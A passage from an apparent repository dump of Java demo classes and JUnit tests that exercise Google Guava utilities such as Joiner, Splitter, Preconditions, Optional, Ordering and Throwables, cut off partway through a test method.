Collection<String> transformedStrings = Collections2.transform(\n                strings, new UpperCaseFunction<String, String>());\n        out.println(\"\\nTransformed Strings:\\n\\t\" + transformedStrings);\n        out.println(\"\\nOriginal Strings (post-transform):\\n\\t\" + strings);\n    }\n\n    /**\n     * Print a separation header including the provided text.\n     * \n     * @param headerText\n     *            Text to be included in separation header.\n     */\n    private static void printHeader(final String headerText) {\n        out.println(\"\\n==========================================================\");\n        out.println(\"== \" + headerText);\n        out.println(\"==========================================================\");\n    }\n\n    /**\n     * Main function for demonstrating Guava's Collections2 class.\n     * \n     * @param arguments\n     */\n    public static void main(final String[] arguments) {\n        demonstrateFilter();\n        demonstrateTransform();\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/main/java/com/jun/plugin/guava/UpperCaseFunction.java",
    "content": "package com.jun.plugin.guava;\n\nimport com.google.common.base.Function;\n\n/**\n * Simple Guava Function that converts provided object's toString()\n * representation to upper case.\n * \n * @author Dustin\n */\npublic class UpperCaseFunction<F, T> implements Function<F, T> {\n    public Object apply(Object f) {\n        return f.toString().toUpperCase();\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/BaseTest.java",
    "content": "package com.jun.plugin.guava;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertFalse;\nimport static org.junit.Assert.assertNull;\nimport static org.junit.Assert.assertTrue;\n\nimport java.nio.charset.Charset;\nimport java.util.Arrays;\n\nimport org.junit.Test;\n\nimport com.google.common.base.Charsets;\nimport com.google.common.base.Defaults;\nimport com.google.common.base.Function;\nimport com.google.common.base.Functions;\nimport com.google.common.base.Joiner;\nimport com.google.common.base.Objects;\nimport com.google.common.base.Preconditions;\nimport com.google.common.base.Predicate;\nimport com.google.common.base.Predicates;\nimport com.google.common.base.Splitter;\nimport com.google.common.base.Strings;\nimport com.google.common.base.Supplier;\nimport com.google.common.collect.ImmutableSet;\nimport com.google.common.collect.Iterables;\n\npublic class BaseTest {\n\n    @Test\n    public void charSetsAndDefaults() {\n        // Here's some charsets\n        Charset utf8 = Charsets.UTF_8;\n        assertTrue(utf8.canEncode());\n\n        // Primitive defaults:\n        Integer defaultValue = Defaults.defaultValue(int.class);\n        assertEquals(0, defaultValue.intValue());\n    }\n\n\n    @Test\n    public void joinSomeStrings() {\n        ImmutableSet<String> strings = ImmutableSet.of(\"A\", \"B\", \"C\");\n\n        String joined = Joiner.on(\":\").join(strings);\n        assertEquals(\"A:B:C\", joined);\n    }\n\n    @Test\n    public void splitSomeStrings() {\n        String string = \"A:B:C\";\n\n        String[] parts = string.split(\":\"); // the old way\n        String backTogether = Joiner.on(\":\").join(parts);\n        assertEquals(string, backTogether);\n\n        String gorbleString = \": A::: B : C :::\";\n        Iterable<String> gorbleParts = Splitter.on(\":\").omitEmptyStrings()\n                .trimResults().split(gorbleString);\n        String gorbleBackTogether = Joiner.on(\":\").join(gorbleParts);\n        assertEquals(string, gorbleBackTogether); // A:B:C\n    }\n\n    @Test\n    public void moreFunWithStrings() {\n        assertNull(Strings.emptyToNull(\"\"));\n        assertEquals(\"\", Strings.nullToEmpty(null));\n        assertTrue(Strings.isNullOrEmpty(\"\")); // About the only thing we ever\n                                               // used in commons-lang? :)\n        assertEquals(\"oioioi\", Strings.repeat(\"oi\", 3));\n\n        String a = \"Too short      \";\n        String b = a + \" \";\n        assertEquals(\"Too short      \",\n                Strings.padEnd(\"Too short\", a.length(), ' '));\n        assertFalse(\"Too short      \"\n                .equals(Strings.padEnd(b, a.length(), ' ')));\n\n        assertEquals(a, Strings.commonPrefix(a, b));\n        assertEquals(\"      \", Strings.commonSuffix(a, b));\n    }\n\n    // Some customers\n    Customer bob = new Customer(1, \"Bob\");\n    Customer lisa = new Customer(2, \"Lisa\");\n    Customer stephen = new Customer(3, \"Stephen\");\n    Customer ken = new Customer(null, \"Ken\");\n\n    @Test\n    public void toStringsAndHashcodes() {\n        Object[] bobAndLisa = new Object[] { bob, lisa };\n\n        // Make some hashcode!\n        int hashCode = Objects.hashCode(bob, lisa);\n\n        assertEquals(Arrays.hashCode(bobAndLisa), hashCode);\n\n        // Build toString method\n        String string = Objects.toStringHelper(bob).add(\"name\", bob.getName())\n                .add(\"id\", bob.getId()).toString();\n        assertEquals(\"Customer{name=Bob, id=1}\", string);\n    }\n\n    @Test(expected = NullPointerException.class)\n    public void needAnIntegerWhichIsNeverNull() {\n        Integer defaultId = 0;\n        Integer kensId = ken.getId() != null ? ken.getId() : defaultId;\n        assertEquals(kensId, defaultId);\n        // this one does not throw!\n\n        int kensId2 = Objects.firstNonNull(ken.getId(), null);\n        assertEquals(0, kensId2);\n        // But the above does! That means that at least one parameter of\n        // Objects.firstNonNull should be nonNull\n    }\n\n    @Test(expected = IllegalArgumentException.class)\n    public void somePreconditions() {\n        // Pretend this is a constructor:\n        Preconditions.checkNotNull(lisa.getId()); // Will not throw NPE\n        assertEquals(Preconditions.checkNotNull(lisa.getId()),\n                Integer.valueOf(2));\n\n        Preconditions.checkState(!lisa.isSick()); // Will throw\n                                                  // IllegalStateException\n        Preconditions.checkArgument(lisa.getAddress() != null,\n                \"We couldn't find the description for customer with id %s\",\n                lisa.getId());\n    }\n\n    @Test\n    public void someFunctions() {\n        assertEquals(\"Bob (id 1)\", bob.toString());\n\n        Function<Object, String> toStringFunction = Functions\n                .toStringFunction();\n        assertEquals(\"Bob (id 1)\", toStringFunction.apply(bob));\n    }\n\n    @Test\n    public void fancierFunctions() {\n        Function<Customer, Boolean> isCustomerWithOddId = new Function<Customer, Boolean>() {\n            public Boolean apply(Customer customer) {\n                return customer.getId().intValue() % 2 != 0;\n            }\n        };\n\n        assertTrue(isCustomerWithOddId.apply(bob));\n        assertFalse(isCustomerWithOddId.apply(lisa));\n\n        // Functions are great for higher-order functions, like\n        // project/transform, and fold\n    }\n\n    @Test\n    public void somePredicates() {\n        ImmutableSet<Customer> customers = ImmutableSet.of(bob, lisa, stephen);\n\n        Predicate<Customer> itsBob = Predicates.equalTo(bob);\n        Predicate<Customer> itsLisa = Predicates.equalTo(lisa);\n        Predicate<Customer> bobOrLisa = Predicates.or(itsBob, itsLisa);\n\n        // Predicates are great to pass in to higher-order functions like\n        // filter/search\n        Iterable<Customer> filtered = Iterables.filter(customers, bobOrLisa);\n        assertEquals(2, ImmutableSet.copyOf(filtered).size());\n        assertEquals(ImmutableSet.of(bob, lisa), ImmutableSet.copyOf(filtered));\n    }\n\n}\n\nclass Customer {\n\n    private Integer id;\n    private String name;\n\n    public Customer(Integer id, String name) {\n        this.id = id;\n        this.name = name;\n    }\n\n    @Override\n    public boolean equals(Object obj) {\n        if (!(obj instanceof Customer)) {\n            return false;\n        }\n\n        Customer that = (Customer) obj;\n        return Objects.equal(id, that.getId())\n                && Objects.equal(name, that.getName());\n\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hashCode(id, name);\n    }\n\n    @Override\n    public String toString() {\n        return name + \" (id \" + id + \")\";\n    }\n\n    public Integer getId() {\n        return id;\n    }\n\n    public boolean isSick() {\n        return false;\n    }\n\n    public String getAddress() {\n        return null;\n    }\n\n    public String getName() {\n        return name;\n    }\n}\n\nclass Ingredients {\n\n}\n\nclass Cake {\n    Cake(Ingredients ingredients) {\n\n    }\n}\n\nclass IngredientsFactory implements Supplier<Ingredients> {\n\n    private int counter;\n\n    public Ingredients get() {\n        counter++;\n        return new Ingredients();\n    }\n\n    int getNumberOfIngredientsUsed() {\n        return counter;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/CollectionTest.java",
    "content": "package com.jun.plugin.guava;\n\nimport static org.junit.Assert.assertEquals;\n\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport org.junit.Test;\n\nimport com.google.common.collect.ImmutableSet;\nimport com.google.common.collect.Sets;\n\npublic class CollectionTest {\n\n    // Some customers\n    Customer bob = new Customer(1, \"Bob\");\n    Customer lisa = new Customer(2, \"Lisa\");\n    Customer stephen = new Customer(3, \"Stephen\");\n    Customer ken = new Customer(null, \"Ken\");\n\n    @Test\n    public void someSets() {\n        ImmutableSet<Customer> customers1 = ImmutableSet.of(bob, lisa, stephen);\n        ImmutableSet<Customer> customers2 = ImmutableSet.of(stephen, ken);\n\n        assertEquals(4, Sets.union(customers1, customers2).size());\n\n        assertEquals(ImmutableSet.of(stephen),\n                Sets.intersection(customers1, customers2));\n    }\n\n\n    @Test\n    public void some() {\n        // TODO: Add more collections demos\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/ConcurrencyTest.java",
    "content": "package com.jun.plugin.guava;\n\nimport static org.junit.Assert.*;\n\nimport org.junit.Test;\n\nimport com.google.common.util.concurrent.MoreExecutors;\n\n\npublic class ConcurrencyTest {\n\n\t@Test\n\tpublic void showOffSomeFancyThreadStuff(){\n\t\t//TODO: I'm not really good with concurrency, so my examples won't make it justice, I'm afraid.\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/IoTest.java",
    "content": "package com.jun.plugin.guava;\n\nimport static org.junit.Assert.assertEquals;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.PrintStream;\nimport java.net.URL;\nimport java.util.List;\n\nimport org.junit.Test;\n\nimport com.google.common.base.Charsets;\nimport com.google.common.base.Preconditions;\nimport com.google.common.base.Throwables;\nimport com.google.common.io.Closeables;\nimport com.google.common.io.Files;\nimport com.google.common.io.Flushables;\nimport com.google.common.io.Resources;\n\npublic class IoTest {\n\n    @Test\n    public void messAroundWithFile() {\n        File file = new File(\"woop.txt\");\n        try {\n            Files.touch(file);\n\n            Files.write(\"Hey sailor!\\n hello li\", file, Charsets.UTF_8);\n\n            // Breakpoint here.. have a look at the file..\n\n            Files.toByteArray(file);\n            Files.newInputStreamSupplier(file);\n            assertEquals(\"Hey sailor!\",\n                    Files.readFirstLine(file, Charsets.UTF_8));\n            assertEquals(\"Hey sailor!\\n hello li\", Files.toString(file, Charsets.UTF_8));\n            List<String> lines = Files.readLines(file, Charsets.UTF_8);\n            assertEquals(\"Hey sailor!\", lines.get(0));\n            assertEquals(\" hello li\", lines.get(1));\n\n            assertEquals(\"txt\", Files.getFileExtension(file.getName()));\n            file.delete();\n            // guava has abandoned this method \n//            Files.deleteRecursively(file);\n\n        } catch (IOException e) {\n            Throwables.propagate(e);\n        }\n    }\n\n    @Test\n    public void classPathResources() {\n        // This:\n        Resources.getResource(\"com/tfnico/examples/guava/BaseTest.class\");\n\n        // instead of this:\n        String location = \"com/tfnico/examples/guava/BaseTest.class\";\n        URL resource2 = this.getClass().getClassLoader().getResource(location);\n        Preconditions.checkArgument(resource2 != null, \"resource %s not found\",\n                location);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/NetTest.java",
    "content": "package com.jun.plugin.guava;\n\nimport java.net.InetAddress;\nimport java.net.UnknownHostException;\n\nimport org.junit.Test;\n\nimport com.google.common.base.Throwables;\nimport com.google.common.net.InetAddresses;\n\n\npublic class NetTest {\n\t\n\t@Test\n\tpublic void iNetAddressIsFixed()\n\t{\n\t\ttry {\n\t\t\t\n\t\t\t/**\n\t\t\t * Unlike InetAddress.getByName(), \n\t\t\t * the methods of this class never cause DNS services to be accessed. \n\t\t\t * For this reason, you should prefer these methods as much as possible \n\t\t\t * over their JDK equivalents whenever you are expecting to handle only \n\t\t\t * IP address string literals -- there is no blocking DNS penalty for \n\t\t\t * a malformed string.\n\t\t\t */\n\t\t\tInetAddresses.forString(\"0.0.0.0\");\n\t\t\t\n\t\t\t//Instead of this...\n\t\t\tInetAddress.getByName(\"0.0.0.0\");\n\t\t\t\n\t\t} catch (UnknownHostException e) {\n\t\t\tThrowables.propagate(e);\n\t\t}\n\t}\n\t\n\t\n\t\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/NewStuffInR08Test.java",
    "content": "package com.jun.plugin.guava;\n\nimport static com.google.common.collect.Collections2.filter;\nimport static org.hamcrest.CoreMatchers.is;\nimport static org.junit.Assert.assertThat;\nimport static org.junit.Assert.assertTrue;\n\nimport java.util.Collection;\nimport java.util.SortedMap;\nimport java.util.TreeMap;\n\nimport org.junit.Test;\n\nimport com.google.common.base.Ascii;\nimport com.google.common.base.CharMatcher;\nimport com.google.common.base.Function;\nimport com.google.common.base.Supplier;\nimport com.google.common.base.Suppliers;\nimport com.google.common.collect.Collections2;\nimport com.google.common.collect.ImmutableList;\n\n\npublic class NewStuffInR08Test {\n\n\t@Test\n\tpublic void makeALineBreakWithAscii(){\n\t\tSystem.out.print(\"Carriage return:\");\n\t\tSystem.out.print(new String(new byte[] {Ascii.CR} ));\n\t\tSystem.out.print(\"Second line!\");\n\t}\n\t\n\t@Test\n\tpublic void filterVowelsInSomeChars() {\n\t\tCharMatcher vowelMatcher = CharMatcher.anyOf(\"aeiouy\");\n\t\tassertTrue(vowelMatcher.matches('a'));\n\t\t\n\t\tImmutableList<Character> someChars = ImmutableList.of('a','b','c','d','e');\n\t\tCollection<Character> filter = filter(someChars, vowelMatcher);\n\t\t\n\t\tImmutableList<Character> result = ImmutableList.of('a','e');\n\t\tassertThat(charArray(filter), is(charArray(result)));\n\t}\n\t\n\t@Test\n\tpublic void makeAnIngredientsFromEachSupplier(){\n\t\tSupplier<Ingredients> factory1 = new IngredientsFactory();\n\t\tSupplier<Ingredients> factory2 = new IngredientsFactory();\n\t\t\n\t\tFunction<Supplier<Ingredients>, Ingredients> supplierFunction = Suppliers.supplierFunction();\n\t\t\n\t\tImmutableList<Supplier<Ingredients>> twoFactories = ImmutableList.of(factory1,factory2);\n\t\tCollection<Ingredients> twoIngredients = Collections2.transform(twoFactories, supplierFunction);\n\t}\n\n\t@Test\n\tpublic void filterAwayNullMapValues() {\n\t\tSortedMap<String, String> map = new TreeMap<String, String>();\n\t\tmap.put(\"1\",\"one\");\n\t\tmap.put(\"2\",\"two\");\n\t\tmap.put(\"3\",null);\n\t\tmap.put(\"4\",\"four\");\n\t\t\n//\t\tSortedMap<String, String> filtered = Collections2.filter(map, Predicates.notNull());\n//\t\tassertThat(filtered.size(), is(3)); //null entry for \"3\" is gone!\n\t}\n\t\n\t\n\t\n\tstatic Character[] charArray(Collection<Character> filter) {\n\t\treturn filter.toArray(new Character[0]);\n\t}\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/basicutilities/DefaultsTest.java",
    "content": "package com.jun.plugin.guava.basicutilities;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertNull;\n\nimport org.junit.Test;\n\nimport com.google.common.base.Defaults;\n\n/**\n * @author tiantiangao\n */\npublic class DefaultsTest {\n\n\t@Test\n\tpublic void testGetDefaultValue() {\n\t\tassertEquals(false, Defaults.defaultValue(boolean.class).booleanValue());\n\t\tassertEquals('\\0', Defaults.defaultValue(char.class).charValue());\n\t\tassertEquals(0, Defaults.defaultValue(byte.class).byteValue());\n\t\tassertEquals(0, Defaults.defaultValue(short.class).shortValue());\n\t\tassertEquals(0, Defaults.defaultValue(int.class).intValue());\n\t\tassertEquals(0, Defaults.defaultValue(long.class).longValue());\n\t\tassertEquals((Float) 0.0f, (Float) Defaults.defaultValue(float.class).floatValue());\n\t\tassertEquals((Double) 0.0d, (Double) Defaults.defaultValue(double.class).doubleValue());\n\t\tassertNull(Defaults.defaultValue(void.class));\n\t\tassertNull(Defaults.defaultValue(String.class));\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/basicutilities/ObjectsTest.java",
    "content": "package com.jun.plugin.guava.basicutilities;\n\nimport static org.junit.Assert.*;\n\nimport org.junit.Test;\n\nimport com.google.common.base.Objects;\nimport com.google.common.collect.ComparisonChain;\nimport com.google.common.primitives.Ints;\n\n/**\n * \n * @author tiantiangao\n */\npublic class ObjectsTest {\n\n\t@Test\n\tpublic void test() {\n\t\ttestEquals();\n\t\ttestHashCode();\n\t\ttestToString();\n\t\ttestCompare();\n\t}\n\n\tprivate void testEquals() {\n\t\tassertTrue(Objects.equal(\"a\", \"a\"));\n\t\tassertFalse(Objects.equal(\"a\", null));\n\t\tassertFalse(Objects.equal(null, \"a\"));\n\t\tassertTrue(Objects.equal(null, null));\n\t}\n\n\tprivate void testHashCode() {\n\t\tassertNotSame(Objects.hashCode(\"a\", \"b\", \"c\"), Objects.hashCode(\"c\", \"b\", \"a\"));\n\t}\n\n\tprivate void testToString() {\n\t\tassertEquals(\"Object{name=test, age=18}\",\n\t\t\t\tObjects.toStringHelper(Object.class).add(\"name\", \"test\").add(\"age\", 18).toString());\n\t}\n\n\tprivate void testCompare() {\n\t\tassertEquals(-1, Ints.compare(1, 2));\n\t\tassertEquals(1, Ints.compare(2, 1));\n\t\tassertEquals(0, Ints.compare(1, 1));\n\n\t\tassertEquals(1, ComparisonChain.start().compare(1, 1).compare(\"aString\", \"aString\").compare(true, false).result());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/basicutilities/OptionalTest.java",
    "content": "package com.jun.plugin.guava.basicutilities;\n\nimport static org.junit.Assert.*;\n\nimport org.junit.Test;\n\nimport com.google.common.base.Optional;\n\n/**\n * @author tiantiangao\n */\npublic class OptionalTest {\n\n\t@Test\n\tpublic void test() {\n\t\ttestNotNullValue();\n\t\ttestNullValue();\n\t}\n\n\tprivate void testNotNullValue() {\n\t\tOptional<Integer> possible = Optional.fromNullable(6);\n\t\tassertTrue(possible.isPresent());\n\t\tassertEquals(6, possible.get().intValue());\n\t\tassertEquals(6, possible.or(1).intValue());\n\t\tassertEquals(6, possible.orNull().intValue());\n\t}\n\n\tprivate void testNullValue() {\n\t\tOptional<Integer> absent = Optional.fromNullable(null);\n\t\tassertFalse(absent.isPresent());\n\t\ttry {\n\t\t\tabsent.get();\n\t\t\tfail();\n\t\t} catch (IllegalStateException e) {\n\t\t\tassertTrue(true);\n\t\t}\n\t\tassertEquals(1, absent.or(1).intValue());\n\t\tassertNull(absent.orNull());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/basicutilities/OrderingTest.java",
    "content": "package com.jun.plugin.guava.basicutilities;\n\nimport static org.junit.Assert.assertFalse;\nimport static org.junit.Assert.assertTrue;\n\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.List;\n\nimport org.junit.Test;\n\nimport com.google.common.base.Function;\nimport com.google.common.collect.Lists;\nimport com.google.common.collect.Ordering;\n\n/**\n * @author tiantiangao\n */\npublic class OrderingTest {\n\n\t@Test\n\tpublic void test() {\n\t\ttestNatural();\n\t\ttestFrom();\n\t\ttestReverse();\n\t\ttestNullFirst();\n\t\ttestNullLast();\n\t\ttestCompound();\n\t\ttestOnResultOf();\n\t\ttestGreatestOf();\n\t\ttestLeastOf();\n\t\ttestIsOrdered();\n\t\ttestIsStrictlyOrdered();\n\t\ttestSortedCopy();\n\t}\n\n\tprivate void testNatural() {\n\t\t// test int order\n\t\tList<Integer> unorderedIntList = Lists.newArrayList(5, 3, 2, 4, 1);\n\t\tList<Integer> orderedIntList = Lists.newArrayList(1, 2, 3, 4, 5);\n\t\tCollections.sort(unorderedIntList, Ordering.natural());\n\t\tassertTrue(orderedIntList.equals(unorderedIntList));\n\n\t\t// test string order\n\t\tList<String> unorderedStringList = Lists.newArrayList(\"Test\", \"Jerry\", \"Rock\", \"Ohaha\", \"Yeah\");\n\t\tList<String> orderedStringList = Lists.newArrayList(\"Jerry\", \"Ohaha\", \"Rock\", \"Test\", \"Yeah\");\n\t\tCollections.sort(unorderedStringList, Ordering.natural());\n\t\tassertTrue(orderedStringList.equals(unorderedStringList));\n\t}\n\n\tprivate void testFrom() {\n\t\tList<Integer> unorderedIntList = Lists.newArrayList(5, 3, 2, 4, 1);\n\t\tList<Integer> orderedIntList = Lists.newArrayList(1, 2, 3, 4, 5);\n\t\tCollections.sort(unorderedIntList, Ordering.from(new Comparator<Integer>() {\n\t\t\t@Override\n\t\t\tpublic int compare(Integer i1, Integer i2) {\n\t\t\t\treturn i1.compareTo(i2);\n\t\t\t}\n\t\t}));\n\t\tassertTrue(orderedIntList.equals(unorderedIntList));\n\t}\n\n\tprivate void testReverse() {\n\t\tList<Integer> unorderedIntList = Lists.newArrayList(5, 3, 2, 4, 1);\n\t\tList<Integer> orderedIntList = Lists.newArrayList(5, 4, 3, 2, 1);\n\t\tCollections.sort(unorderedIntList, Ordering.natural().reverse());\n\t\tassertTrue(orderedIntList.equals(unorderedIntList));\n\t}\n\n\tprivate void testNullFirst() {\n\t\tList<Integer> unorderedIntList = Lists.newArrayList(5, 3, null, 4, 1);\n\t\tList<Integer> orderedIntList = Lists.newArrayList(null, 1, 3, 4, 5);\n\t\tCollections.sort(unorderedIntList, Ordering.natural().nullsFirst());\n\t\tassertTrue(orderedIntList.equals(unorderedIntList));\n\t}\n\n\tprivate void testNullLast() {\n\t\tList<Integer> unorderedIntList = Lists.newArrayList(5, 3, null, 4, 1);\n\t\tList<Integer> orderedIntList = Lists.newArrayList(1, 3, 4, 5, null);\n\t\tCollections.sort(unorderedIntList, Ordering.natural().nullsLast());\n\t\tassertTrue(orderedIntList.equals(unorderedIntList));\n\t}\n\n\tprivate void testCompound() {\n\t\tList<String> unorderedStringList = Lists.newArrayList(\"Oest\", \"Jerry\", \"Jock\", \"Ohaha\", \"Yeah\");\n\t\tList<String> orderedStringList = Lists.newArrayList(\"Jock\", \"Jerry\", \"Ohaha\", \"Oest\", \"Yeah\");\n\n\t\tOrdering<String> firstLetterOrdering = Ordering.from(new Comparator<String>() {\n\t\t\t@Override\n\t\t\tpublic int compare(String s1, String s2) {\n\t\t\t\treturn s1.substring(0, 1).compareTo(s2.substring(0, 1));\n\t\t\t}\n\t\t});\n\t\tCollections.sort(unorderedStringList, firstLetterOrdering.compound(new Comparator<String>() {\n\t\t\t@Override\n\t\t\tpublic int compare(String s1, String s2) {\n\t\t\t\treturn s2.substring(1, s2.length()).compareTo(s1.substring(1, s1.length()));\n\t\t\t}\n\t\t}));\n\t\tassertTrue(orderedStringList.equals(unorderedStringList));\n\t}\n\n\tprivate void testOnResultOf() {\n\t\tList<String> unorderedStringList = Lists.newArrayList(\"Oest\", \"Jarry\", \"Jock\", \"Ohaha\", \"Ybah\");\n\t\tList<String> orderedStringList = Lists.newArrayList(\"Jarry\", \"Ybah\", \"Oest\", \"Ohaha\", \"Jock\");\n\n\t\tOrdering<String> secondLetterOrdering = Ordering.natural().onResultOf(new Function<String, String>() {\n\t\t\t@Override\n\t\t\tpublic String apply(String input) {\n\t\t\t\t// 去除首字母\n\t\t\t\treturn input.substring(1, input.length());\n\t\t\t}\n\t\t});\n\n\t\tCollections.sort(unorderedStringList, secondLetterOrdering);\n\t\tassertTrue(orderedStringList.equals(unorderedStringList));\n\t}\n\n\tprivate void testGreatestOf() {\n\t\tList<Integer> unorderList = Lists.newArrayList(5, 3, 2, 4, 1);\n\t\tList<Integer> orderList = Lists.newArrayList(5, 4);\n\t\tassertTrue(orderList.equals(Ordering.natural().greatestOf(unorderList, 2)));\n\n\t\torderList = Lists.newArrayList(5, 4, 3, 2, 1);\n\t\tassertTrue(orderList.equals(Ordering.natural().greatestOf(unorderList, 8)));\n\t}\n\n\tprivate void testLeastOf() {\n\t\tList<Integer> unorderList = Lists.newArrayList(5, 3, 2, 4, 1);\n\t\tList<Integer> orderList = Lists.newArrayList(1, 2);\n\t\tassertTrue(orderList.equals(Ordering.natural().leastOf(unorderList, 2)));\n\n\t\torderList = Lists.newArrayList(1, 2, 3, 4, 5);\n\t\tassertTrue(orderList.equals(Ordering.natural().leastOf(unorderList, 8)));\n\t}\n\n\tprivate void testIsOrdered() {\n\t\t// 大于可通过\n\t\tList<Integer> orderList = Lists.newArrayList(1, 2, 3, 4, 5);\n\t\tassertTrue(Ordering.natural().isOrdered(orderList));\n\n\t\t// 大于或等于也可通过\n\t\torderList = Lists.newArrayList(1, 2, 2, 4, 5);\n\t\tassertTrue(Ordering.natural().isOrdered(orderList));\n\t}\n\n\tprivate void testIsStrictlyOrdered() {\n\t\t// 大于可通过\n\t\tList<Integer> orderList = Lists.newArrayList(1, 2, 3, 4, 5);\n\t\tassertTrue(Ordering.natural().isStrictlyOrdered(orderList));\n\n\t\t// 大于或等于不可通过\n\t\torderList = Lists.newArrayList(1, 2, 2, 4, 5);\n\t\tassertFalse(Ordering.natural().isStrictlyOrdered(orderList));\n\t}\n\n\tprivate void testSortedCopy() {\n\t\tList<Integer> unorderList = Lists.newArrayList(5, 3, 2, 4, 1);\n\t\tList<Integer> orderList = Lists.newArrayList(1, 2, 3, 4, 5);\n\t\tassertTrue(orderList.equals(Ordering.natural().sortedCopy(unorderList)));\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/basicutilities/PreconditionsTest.java",
    "content": "package com.jun.plugin.guava.basicutilities;\n\nimport static com.google.common.base.Preconditions.*;\nimport static org.junit.Assert.assertTrue;\nimport static org.junit.Assert.fail;\n\nimport java.util.ArrayList;\n\nimport org.junit.Test;\n\nimport com.google.common.collect.Lists;\n\n/**\n * \n * @author tiantiangao\n */\npublic class PreconditionsTest {\n\n\t@Test\n\tpublic void test() {\n\t\ttestCheckArgument();\n\t\ttestCheckNotNull();\n\t\ttestCheckState();\n\t\ttestCheckElementIndex();\n\t\ttestCheckPositionIndex();\n\t\ttestCheckPositionIndexs();\n\t}\n\n\tprivate void testCheckArgument() {\n\t\tint i = 1;\n\t\tcheckArgument(i > 0, \"参数是%s, 参数必须为正整数\", i);\n\n\t\ttry {\n\t\t\ti = -1;\n\t\t\tcheckArgument(-1 > 0, \"参数是%s, 参数必须为正整数\", -1);\n\t\t\tfail();\n\t\t} catch (IllegalArgumentException e) {\n\t\t\tassertTrue(true);\n\t\t}\n\t}\n\n\tprivate void testCheckNotNull() {\n\t\tObject value = new Object();\n\n\t\tcheckNotNull(value, \"参数是null\");\n\n\t\ttry {\n\t\t\tvalue = null;\n\t\t\tcheckNotNull(value, \"参数是null\");\n\t\t\tfail();\n\t\t} catch (NullPointerException e) {\n\t\t\tassertTrue(true);\n\t\t}\n\t}\n\n\tprivate void testCheckState() {\n\t\tArrayList<Integer> list = Lists.newArrayList(1, 2, 3, 4, 5);\n\t\tcheckState(list.size() < 6, \"集体长度应该小于5\");\n\n\t\tlist.add(6);\n\t\ttry {\n\t\t\tcheckState(list.size() < 6, \"集体长度应该小于5\");\n\t\t\tfail();\n\t\t} catch (Exception e) {\n\t\t\tassertTrue(true);\n\t\t}\n\t}\n\n\tprivate void testCheckElementIndex() {\n\t\tArrayList<Integer> list = Lists.newArrayList(1, 2, 3);\n\t\t// [0, size)\n\t\tcheckElementIndex(list.size(), 4);\n\n\t\ttry {\n\t\t\tcheckElementIndex(list.size(), 3);\n\t\t\tfail();\n\t\t} catch (Exception e) {\n\t\t\tassertTrue(true);\n\t\t}\n\t}\n\n\tprivate void testCheckPositionIndex() {\n\t\tArrayList<Integer> list = Lists.newArrayList(1, 2, 3);\n\t\t// [0, size]\n\t\tcheckPositionIndex(list.size(), 3);\n\n\t\ttry {\n\t\t\tcheckPositionIndex(list.size(), 2);\n\t\t\tfail();\n\t\t} catch (Exception e) {\n\t\t\tassertTrue(true);\n\t\t}\n\t}\n\n\tprivate void testCheckPositionIndexs() {\n\t\tArrayList<Integer> list = Lists.newArrayList(1, 2, 3, 4, 5);\n\t\tcheckPositionIndexes(4, 5, list.size());\n\n\t\ttry {\n\t\t\tcheckPositionIndexes(5, 6, list.size());\n\t\t\tfail();\n\t\t} catch (Exception e) {\n\t\t\tassertTrue(true);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/basicutilities/ThrowablesTest.java",
    "content": "package com.jun.plugin.guava.basicutilities;\n\nimport static org.junit.Assert.*;\n\nimport java.io.FileNotFoundException;\nimport java.io.InputStream;\nimport java.net.URL;\nimport java.util.Arrays;\n\nimport org.junit.Test;\n\nimport com.google.common.base.Throwables;\n\n/**\n * @author tiantiangao\n */\npublic class ThrowablesTest {\n\n\t@Test\n\tpublic void test() {\n\t\ttestPropagate();\n\t\ttestPropagateIfInstanceOf();\n\t\ttestPropagateIfPossible();\n\t\ttestGetRootCause();\n\t\ttestGetStackTraceAsString();\n\t\ttestGetCausalChain();\n\t}\n\n\tprivate void testPropagate() {\n\t\ttry {\n\t\t\tURL url = new URL(\"http://www.dianping.com\");\n\t\t\tInputStream in = url.openStream();\n\t\t\tin.close();\n\t\t} catch (Exception e) {\n\t\t\tthrow Throwables.propagate(e);\n\t\t}\n\t}\n\n\tprivate void testPropagateIfInstanceOf() {\n\t\ttry {\n\t\t\tthrow new NumberFormatException(\"a\");\n\t\t} catch (Throwable t) {\n\t\t\ttry {\n\t\t\t\tThrowables.propagateIfInstanceOf(t, NumberFormatException.class);\n\t\t\t\tfail();\n\t\t\t} catch (Throwable t2) {\n\t\t\t\tassertTrue(true);\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate void testPropagateIfPossible() {\n\t\ttry {\n\t\t\tthrow new NumberFormatException();\n\t\t} catch (Throwable t) {\n\t\t\ttry {\n\t\t\t\tThrowables.propagateIfPossible(t, Exception.class);\n\t\t\t\tfail();\n\t\t\t} catch (Throwable t1) {\n\t\t\t\tassertTrue(true);\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate void testGetRootCause() 